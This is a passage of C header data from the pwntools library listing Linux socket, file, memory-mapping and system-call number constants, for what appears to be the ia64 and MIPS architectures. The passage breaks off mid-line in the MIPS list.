AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECT 0x4000 #define O_LARGEFILE 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x410000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_GROWSUP 0x0200 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define POSIX_MADV_DONTNEED 0x4 #define SYS_accept (1024 + 170) #define SYS_accept4 (1024 + 310) #define SYS_access (1024 + 25) #define SYS_acct (1024 + 40) #define SYS_add_key (1024 + 247) #define SYS_adjtimex (1024 + 107) #define SYS_afs_syscall (1024 + 117) #define SYS_bdflush (1024 + 114) #define SYS_bind (1024 + 167) #define SYS_bpf (1024 + 317) #define SYS_brk (1024 + 36) #define SYS_capget (1024 + 161) #define SYS_capset (1024 + 162) #define SYS_chdir (1024 + 10) #define SYS_chmod (1024 + 14) #define SYS_chown (1024 + 15) #define SYS_chroot (1024 + 44) #define SYS_clock_adjtime (1024 + 304) #define SYS_clock_getres (1024 + 231) #define SYS_clock_gettime (1024 + 230) #define SYS_clock_nanosleep (1024 + 232) #define SYS_clock_settime (1024 + 229) #define SYS_clone (1024 + 104) #define SYS_clone2 (1024 + 189) #define SYS_close (1024 + 5) #define SYS_connect (1024 + 168) #define SYS_copy_file_range (1024 + 323) #define SYS_creat (1024 + 6) #define SYS_delete_module (1024 + 110) #define SYS_dup (1024 + 33) #define SYS_dup2 (1024 + 46) #define SYS_dup3 (1024 + 292) #define SYS_epoll_create (1024 + 219) #define SYS_epoll_create1 (1024 + 291) #define SYS_epoll_ctl (1024 + 220) #define SYS_epoll_pwait (1024 + 281) #define SYS_epoll_wait (1024 + 221) #define SYS_eventfd (1024 + 285) #define SYS_eventfd2 (1024 + 290) #define SYS_execve (1024 + 9) #define SYS_execveat (1024 + 318) #define SYS_exit (1024 + 1) #define SYS_exit_group (1024 + 212) #define SYS_faccessat (1024 + 269) #define SYS_fadvise64 (1024 + 210) #define SYS_fallocate (1024 + 279) #define SYS_fanotify_init (1024 + 299) #define SYS_fanotify_mark (1024 + 300) #define SYS_fchdir (1024 + 11) #define SYS_fchmod (1024 + 75) #define SYS_fchmodat (1024 + 268) #define SYS_fchown (1024 + 76) #define SYS_fchownat (1024 + 260) #define SYS_fcntl (1024 + 42) #define SYS_fdatasync (1024 + 28) #define SYS_fgetxattr (1024 + 198) #define SYS_finit_module (1024 + 311) #define SYS_flistxattr (1024 + 201) #define SYS_flock (1024 + 121) #define SYS_fremovexattr (1024 + 204) #define SYS_fsconfig (1024 + 431) #define SYS_fsetxattr (1024 + 195) #define SYS_fsmount (1024 + 432) #define SYS_fsopen (1024 + 430) #define SYS_fspick (1024 + 433) #define SYS_fstat (1024 + 188) #define SYS_fstatfs (1024 + 80) #define SYS_fstatfs64 (1024 + 233) #define SYS_fsync (1024 + 27) #define SYS_ftruncate (1024 + 74) #define SYS_futex (1024 + 206) #define SYS_futimesat (1024 + 261) #define SYS_getcpu (1024 + 280) #define SYS_getcwd (1024 + 160) #define SYS_getdents (1024 + 120) #define SYS_getdents64 (1024 + 190) #define SYS_getegid (1024 + 39) #define SYS_geteuid (1024 + 23) #define SYS_getgid (1024 + 38) #define SYS_getgroups (1024 + 53) #define SYS_getitimer (1024 + 95) #define SYS_get_mempolicy (1024 + 236) #define SYS_getpeername (1024 + 172) #define SYS_getpgid (1024 + 55) #define SYS_getpid (1024 + 17) #define SYS_getpmsg (1024 + 164) #define SYS_getppid (1024 + 18) #define SYS_getpriority (1024 + 77) #define SYS_getrandom (1024 + 315) #define SYS_getresgid (1024 + 51) #define SYS_getresuid (1024 + 49) #define SYS_getrlimit (1024 + 61) #define SYS_get_robust_list (1024 + 275) #define SYS_getrusage (1024 + 62) #define SYS_getsid (1024 + 58) #define SYS_getsockname (1024 + 171) #define SYS_getsockopt (1024 + 180) #define SYS_gettid (1024 + 81) #define SYS_gettimeofday (1024 + 63) #define SYS_getuid (1024 + 22) #define SYS_getunwind (1024 + 191) #define SYS_getxattr (1024 + 196) #define SYS_init_module (1024 + 109) #define SYS_inotify_add_watch (1024 + 254) #define SYS_inotify_init (1024 + 253) #define SYS_inotify_init1 (1024 + 294) #define SYS_inotify_rm_watch (1024 + 255) #define SYS_io_cancel (1024 + 218) #define SYS_ioctl (1024 + 41) #define SYS_io_destroy (1024 + 215) #define SYS_io_getevents (1024 + 216) #define SYS_io_pgetevents (1024 + 327) #define SYS_ioprio_get (1024 + 251) #define SYS_ioprio_set (1024 + 250) #define SYS_io_setup (1024 + 214) #define SYS_io_submit (1024 + 217) #define SYS_io_uring_enter (1024 + 426) #define SYS_io_uring_register (1024 + 427) #define SYS_io_uring_setup (1024 + 425) #define SYS_kcmp (1024 + 321) #define SYS_kexec_load (1024 + 244) #define SYS_keyctl (1024 + 249) #define SYS_kill (1024 + 29) #define SYS_lchown (1024 + 100) #define SYS_lgetxattr (1024 + 197) #define SYS_link (1024 + 7) #define SYS_linkat (1024 + 265) #define SYS_Linux 1024 #define SYS_listen (1024 + 169) #define SYS_listxattr (1024 + 199) #define SYS_llistxattr (1024 + 200) #define SYS_lookup_dcookie (1024 + 213) #define SYS_lremovexattr (1024 + 203) #define SYS_lseek (1024 + 16) #define SYS_lsetxattr (1024 + 194) #define SYS_lstat (1024 + 187) #define SYS_madvise (1024 + 185) #define SYS_mbind (1024 + 235) #define SYS_membarrier (1024 + 320) #define SYS_memfd_create (1024 + 316) #define SYS_migrate_pages (1024 + 256) #define SYS_mincore (1024 + 184) #define SYS_mkdir (1024 + 31) #define SYS_mkdirat (1024 + 258) #define SYS_mknod (1024 + 13) #define SYS_mknodat (1024 + 259) #define SYS_mlock (1024 + 129) #define SYS_mlock2 (1024 + 322) #define SYS_mlockall (1024 + 130) #define SYS_mmap (1024 + 127) #define SYS_mmap2 (1024 + 148) #define SYS_mount (1024 + 19) #define SYS_move_mount (1024 + 429) #define SYS_move_pages (1024 + 252) #define SYS_mprotect (1024 + 131) #define SYS_mq_getsetattr (1024 + 243) #define SYS_mq_notify (1024 + 242) #define SYS_mq_open (1024 + 238) #define SYS_mq_timedreceive (1024 + 241) #define SYS_mq_timedsend (1024 + 240) #define SYS_mq_unlink (1024 + 239) #define SYS_mremap (1024 + 132) #define SYS_msgctl (1024 + 88) #define SYS_msgget (1024 + 85) #define SYS_msgrcv (1024 + 87) #define SYS_msgsnd (1024 + 86) #define SYS_msync (1024 + 133) #define SYS_munlock (1024 + 134) #define SYS_munlockall (1024 + 135) #define SYS_munmap (1024 + 128) #define SYS_name_to_handle_at (1024 + 302) #define SYS_nanosleep (1024 + 144) #define SYS_newfstatat (1024 + 262) #define SYS_nfsservctl (1024 + 145) #define SYS_ni_syscall (1024 + 0) #define SYS_old_getpagesize (1024 + 147) #define SYS_open (1024 + 4) #define SYS_openat (1024 + 257) #define SYS_openat2 (1024 + 437) #define SYS_open_by_handle_at (1024 + 303) #define SYS_open_tree (1024 + 428) #define SYS_pciconfig_read (1024 + 149) #define SYS_pciconfig_write (1024 + 150) #define SYS_perf_event_open (1024 + 328) #define SYS_perfmonctl (1024 + 151) #define SYS_personality (1024 + 116) #define SYS_pidfd_getfd (1024 + 438) #define SYS_pidfd_open (1024 + 434) #define SYS_pidfd_send_signal (1024 + 424) #define SYS_pipe (1024 + 34) #define SYS_pipe2 (1024 + 293) #define SYS_pivot_root (1024 + 183) #define SYS_pkey_alloc (1024 + 331) #define SYS_pkey_free (1024 + 332) #define SYS_pkey_mprotect (1024 + 330) #define SYS_poll (1024 + 66) #define SYS_ppoll (1024 + 271) #define SYS_prctl (1024 + 146) #define SYS_pread64 (1024 + 124) #define SYS_preadv (1024 + 295) #define SYS_preadv2 (1024 + 324) #define SYS_prlimit64 (1024 + 301) #define SYS_process_vm_readv (1024 + 308) #define SYS_process_vm_writev (1024 + 309) #define SYS_pselect6 (1024 + 270) #define SYS_ptrace (1024 + 24) #define SYS_putpmsg (1024 + 165) #define SYS_pwrite64 (1024 + 125) #define SYS_pwritev (1024 + 296) #define SYS_pwritev2 (1024 + 325) #define SYS_quotactl (1024 + 113) #define SYS_read (1024 + 2) #define SYS_readahead (1024 + 192) #define SYS_readlink (1024 + 68) #define SYS_readlinkat (1024 + 267) #define SYS_readv (1024 + 122) #define SYS_reboot (1024 + 72) #define SYS_recv (1024 + 176) #define SYS_recvfrom (1024 + 177) #define SYS_recvmmsg (1024 + 298) #define SYS_recvmsg (1024 + 182) #define SYS_remap_file_pages (1024 + 101) #define SYS_removexattr (1024 + 202) #define SYS_rename (1024 + 30) #define SYS_renameat (1024 + 264) #define SYS_renameat2 (1024 + 314) #define SYS_request_key (1024 + 248) #define SYS_restart_syscall (1024 + 222) #define SYS_rmdir (1024 + 32) #define SYS_rseq (1024 + 333) #define SYS_rt_sigaction (1024 + 153) #define SYS_rt_sigpending (1024 + 154) #define SYS_rt_sigprocmask (1024 + 155) #define SYS_rt_sigqueueinfo (1024 + 156) #define SYS_rt_sigreturn (1024 + 157) #define SYS_rt_sigsuspend (1024 + 158) #define SYS_rt_sigtimedwait (1024 + 159) #define SYS_rt_tgsigqueueinfo (1024 + 297) #define SYS_sched_getaffinity (1024 + 208) #define SYS_sched_getattr (1024 + 313) #define SYS_sched_getparam (1024 + 136) #define SYS_sched_get_priority_max (1024 + 141) #define SYS_sched_get_priority_min (1024 + 142) #define SYS_sched_getscheduler (1024 + 138) #define SYS_sched_rr_get_interval (1024 + 143) #define SYS_sched_setaffinity (1024 + 207) #define SYS_sched_setattr (1024 + 312) #define SYS_sched_setparam (1024 + 137) #define SYS_sched_setscheduler (1024 + 139) #define SYS_sched_yield (1024 + 140) #define SYS_seccomp (1024 + 329) #define SYS_select (1024 + 65) #define SYS_semctl (1024 + 84) #define SYS_semget (1024 + 82) #define SYS_semop (1024 + 83) #define SYS_semtimedop (1024 + 223) #define SYS_send (1024 + 174) #define SYS_sendfile (1024 + 163) #define SYS_sendmmsg (1024 + 307) #define SYS_sendmsg (1024 + 181) #define SYS_sendto (1024 + 175) #define SYS_setdomainname (1024 + 105) #define SYS_setfsgid (1024 + 119) #define SYS_setfsuid (1024 + 118) #define SYS_setgid (1024 + 37) #define SYS_setgroups (1024 + 54) #define SYS_sethostname (1024 + 59) #define SYS_setitimer (1024 + 94) #define SYS_set_mempolicy (1024 + 237) #define SYS_setns (1024 + 306) #define SYS_setpgid (1024 + 56) #define SYS_setpriority (1024 + 78) #define SYS_setregid (1024 + 48) #define SYS_setresgid (1024 + 52) #define SYS_setresuid (1024 + 50) #define SYS_setreuid (1024 + 47) #define SYS_setrlimit (1024 + 60) #define SYS_set_robust_list (1024 + 274) #define SYS_setsid (1024 + 57) #define SYS_setsockopt (1024 + 179) #define SYS_set_tid_address (1024 + 209) #define SYS_settimeofday (1024 + 64) #define SYS_setuid (1024 + 21) #define SYS_setxattr (1024 + 193) #define SYS_shmat (1024 + 90) #define SYS_shmctl (1024 + 92) #define SYS_shmdt (1024 + 91) #define SYS_shmget (1024 + 89) #define SYS_shutdown (1024 + 178) #define SYS_sigaltstack (1024 + 152) #define SYS_signalfd (1024 + 283) #define SYS_signalfd4 (1024 + 289) #define SYS_socket (1024 + 166) #define SYS_socketpair (1024 + 173) #define SYS_splice (1024 + 273) #define SYS_stat (1024 + 186) #define SYS_statfs (1024 + 79) #define SYS_statfs64 (1024 + 234) #define SYS_statx (1024 + 326) #define SYS_swapoff (1024 + 71) #define SYS_swapon (1024 + 70) #define SYS_symlink (1024 + 67) #define SYS_symlinkat (1024 + 266) #define SYS_sync (1024 + 26) #define SYS_sync_file_range (1024 + 276) #define SYS_syncfs (1024 + 305) #define SYS__sysctl (1024 + 126) #define SYS_sysfs (1024 + 115) #define SYS_sysinfo (1024 + 103) #define SYS_syslog (1024 + 93) #define SYS_tee (1024 + 277) #define SYS_tgkill (1024 + 211) #define SYS_timer_create (1024 + 224) #define SYS_timer_delete (1024 + 228) #define SYS_timerfd (1024 + 284) #define SYS_timerfd_create (1024 + 286) #define SYS_timerfd_gettime (1024 + 288) #define SYS_timerfd_settime (1024 + 287) #define SYS_timer_getoverrun (1024 + 227) #define SYS_timer_gettime (1024 + 226) #define SYS_timer_settime (1024 + 225) #define SYS_times (1024 + 35) #define SYS_tkill (1024 + 205) #define SYS_truncate (1024 + 73) #define SYS_umask (1024 + 43) #define SYS_umount2 (1024 + 20) #define SYS_uname (1024 + 106) #define SYS_unlink (1024 + 8) #define SYS_unlinkat (1024 + 263) #define SYS_unshare (1024 + 272) #define SYS_uselib (1024 + 69) #define SYS_userfaultfd (1024 + 319) #define SYS_ustat (1024 + 45) #define SYS_utimensat (1024 + 282) #define SYS_utimes (1024 + 12) #define SYS_vhangup (1024 + 99) #define SYS_vmsplice (1024 + 278) #define SYS_vserver (1024 + 245) #define SYS_wait4 (1024 + 102) #define SYS_waitid (1024 + 246) #define SYS_write (1024 + 3) #define SYS_writev (1024 + 123) Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/mips.h000066400000000000000000001367241507273764500245110ustar00rootroot00000000000000#define __NR_Linux 4000 #define __NR_syscall (4000 + 0) #define __NR_exit (4000 + 1) #define __NR_fork (4000 + 2) #define __NR_read (4000 + 3) #define __NR_write (4000 + 4) #define __NR_open (4000 + 5) #define __NR_close (4000 + 6) #define __NR_waitpid (4000 + 7) #define __NR_creat (4000 + 8) #define __NR_link (4000 + 9) #define __NR_unlink (4000 + 10) #define __NR_execve (4000 + 11) #define __NR_chdir (4000 + 12) #define __NR_time (4000 + 13) #define __NR_mknod (4000 + 14) #define __NR_chmod (4000 + 15) #define __NR_lchown (4000 + 16) #define __NR_break (4000 + 17) #define __NR_unused18 (4000 + 18) #define __NR_lseek (4000 + 19) #define __NR_getpid (4000 + 20) #define __NR_mount (4000 + 21) #define __NR_umount (4000 + 22) #define __NR_setuid (4000 + 23) #define __NR_getuid (4000 + 24) #define __NR_stime (4000 + 25) #define __NR_ptrace (4000 + 26) #define __NR_alarm (4000 + 27) #define __NR_unused28 (4000 + 28) #define __NR_pause (4000 + 29) #define __NR_utime (4000 + 30) #define __NR_stty (4000 + 31) #define __NR_gtty (4000 + 32) #define __NR_access (4000 + 33) #define __NR_nice (4000 + 34) #define __NR_ftime (4000 + 35) #define __NR_sync (4000 + 36) #define __NR_kill (4000 + 37) #define __NR_rename (4000 + 38) #define __NR_mkdir (4000 + 39) #define __NR_rmdir (4000 + 40) #define __NR_dup (4000 + 41) #define __NR_pipe (4000 + 42) #define __NR_times (4000 + 43) #define __NR_prof (4000 + 44) #define __NR_brk (4000 + 45) #define __NR_setgid (4000 + 46) #define __NR_getgid (4000 + 47) #define __NR_signal (4000 + 48) #define __NR_geteuid (4000 + 49) #define __NR_getegid (4000 + 50) #define __NR_acct (4000 + 51) #define __NR_umount2 (4000 + 52) #define __NR_lock (4000 + 53) #define __NR_ioctl (4000 + 54) #define __NR_fcntl (4000 + 55) #define __NR_mpx (4000 + 56) #define __NR_setpgid (4000 + 57) #define __NR_ulimit (4000 + 58) #define __NR_unused59 (4000 + 59) #define __NR_umask (4000 + 60) #define __NR_chroot (4000 + 61) #define __NR_ustat (4000 + 62) #define __NR_dup2 (4000 + 63) #define __NR_getppid (4000 + 64) #define __NR_getpgrp (4000 + 65) #define __NR_setsid (4000 + 66) #define __NR_sigaction (4000 + 67) #define __NR_sgetmask (4000 + 68) #define __NR_ssetmask (4000 + 69) #define __NR_setreuid (4000 + 70) #define __NR_setregid (4000 + 71) #define __NR_sigsuspend (4000 + 72) #define __NR_sigpending (4000 + 73) #define __NR_sethostname (4000 + 74) #define __NR_setrlimit (4000 + 75) #define __NR_getrlimit (4000 + 76) #define __NR_getrusage (4000 + 77) #define __NR_gettimeofday (4000 + 78) #define __NR_settimeofday (4000 + 79) #define __NR_getgroups (4000 + 80) #define __NR_setgroups (4000 + 81) #define __NR_reserved82 (4000 + 82) #define __NR_symlink (4000 + 83) #define __NR_unused84 (4000 + 84) #define __NR_readlink (4000 + 85) #define __NR_uselib (4000 + 86) #define __NR_swapon (4000 + 87) #define __NR_reboot (4000 + 88) #define __NR_readdir (4000 + 89) #define __NR_mmap (4000 + 90) #define __NR_munmap (4000 + 91) #define __NR_truncate (4000 + 92) #define __NR_ftruncate (4000 + 93) #define __NR_fchmod (4000 + 94) #define __NR_fchown (4000 + 95) #define __NR_getpriority (4000 + 96) #define __NR_setpriority (4000 + 97) #define __NR_profil (4000 + 98) #define __NR_statfs (4000 + 99) #define __NR_fstatfs (4000 + 100) #define __NR_ioperm (4000 + 101) #define __NR_socketcall (4000 + 102) #define __NR_syslog (4000 + 103) #define __NR_setitimer (4000 + 104) #define __NR_getitimer (4000 + 105) #define __NR_stat (4000 + 106) #define __NR_lstat (4000 + 107) #define __NR_fstat (4000 + 108) #define __NR_unused109 (4000 + 109) #define __NR_iopl (4000 + 110) #define __NR_vhangup (4000 + 111) #define __NR_idle (4000 + 112) #define __NR_vm86 (4000 + 113) #define __NR_wait4 (4000 + 114) #define __NR_swapoff (4000 + 115) #define __NR_sysinfo (4000 + 116) #define __NR_ipc (4000 + 117) #define __NR_fsync (4000 + 118) #define __NR_sigreturn (4000 + 119) #define __NR_clone (4000 + 120) #define __NR_setdomainname (4000 + 121) #define __NR_uname (4000 + 122) #define __NR_modify_ldt (4000 + 123) #define __NR_adjtimex (4000 + 124) #define __NR_mprotect (4000 + 125) #define __NR_sigprocmask (4000 + 126) #define __NR_create_module (4000 + 127) #define __NR_init_module (4000 + 128) #define __NR_delete_module (4000 + 129) #define __NR_get_kernel_syms (4000 + 130) #define __NR_quotactl (4000 + 131) #define __NR_getpgid (4000 + 132) #define __NR_fchdir (4000 + 133) #define __NR_bdflush (4000 + 134) #define __NR_sysfs (4000 + 135) #define __NR_personality (4000 + 136) #define __NR_afs_syscall (4000 + 137) #define __NR_setfsuid (4000 + 138) #define __NR_setfsgid (4000 + 139) #define __NR__llseek (4000 + 140) #define __NR_getdents (4000 + 141) #define __NR__newselect (4000 + 142) #define __NR_flock (4000 + 143) #define __NR_msync (4000 + 144) #define __NR_readv (4000 + 145) #define __NR_writev (4000 + 146) #define __NR_cacheflush (4000 + 147) #define __NR_cachectl (4000 + 148) #define __NR_sysmips (4000 + 149) #define __NR_unused150 (4000 + 150) #define __NR_getsid (4000 + 151) #define __NR_fdatasync (4000 + 152) #define __NR__sysctl (4000 + 153) #define __NR_mlock (4000 + 154) #define __NR_munlock (4000 + 155) #define __NR_mlockall (4000 + 156) #define __NR_munlockall (4000 + 157) #define __NR_sched_setparam (4000 + 158) #define __NR_sched_getparam (4000 + 159) #define __NR_sched_setscheduler (4000 + 160) #define __NR_sched_getscheduler (4000 + 161) #define __NR_sched_yield (4000 + 162) #define __NR_sched_get_priority_max (4000 + 163) #define __NR_sched_get_priority_min (4000 + 164) #define __NR_sched_rr_get_interval (4000 + 165) #define __NR_nanosleep (4000 + 166) #define __NR_mremap (4000 + 167) #define __NR_accept (4000 + 168) #define __NR_bind (4000 + 169) #define __NR_connect (4000 + 170) #define __NR_getpeername (4000 + 171) #define __NR_getsockname (4000 + 172) #define __NR_getsockopt (4000 + 173) #define __NR_listen (4000 + 174) #define __NR_recv (4000 + 175) #define __NR_recvfrom (4000 + 176) #define __NR_recvmsg (4000 + 177) #define __NR_send (4000 + 178) #define __NR_sendmsg (4000 + 179) #define __NR_sendto (4000 + 180) #define __NR_setsockopt (4000 + 181) #define __NR_shutdown (4000 + 182) #define __NR_socket (4000 + 183) #define __NR_socketpair (4000 + 184) #define __NR_setresuid (4000 + 185) #define __NR_getresuid (4000 + 186) #define __NR_query_module (4000 + 187) #define __NR_poll (4000 + 188) #define __NR_nfsservctl (4000 + 189) #define __NR_setresgid (4000 + 190) #define __NR_getresgid (4000 + 191) #define __NR_prctl (4000 + 192) #define __NR_rt_sigreturn (4000 + 193) #define __NR_rt_sigaction (4000 + 194) #define __NR_rt_sigprocmask (4000 + 195) #define __NR_rt_sigpending (4000 + 196) #define __NR_rt_sigtimedwait (4000 + 197) #define __NR_rt_sigqueueinfo (4000 + 198) #define __NR_rt_sigsuspend (4000 + 199) #define __NR_pread64 (4000 + 200) #define __NR_pwrite64 (4000 + 201) #define __NR_chown (4000 + 202) #define __NR_getcwd (4000 + 203) #define __NR_capget (4000 + 204) #define __NR_capset (4000 + 205) #define __NR_sigaltstack (4000 + 206) #define __NR_sendfile (4000 + 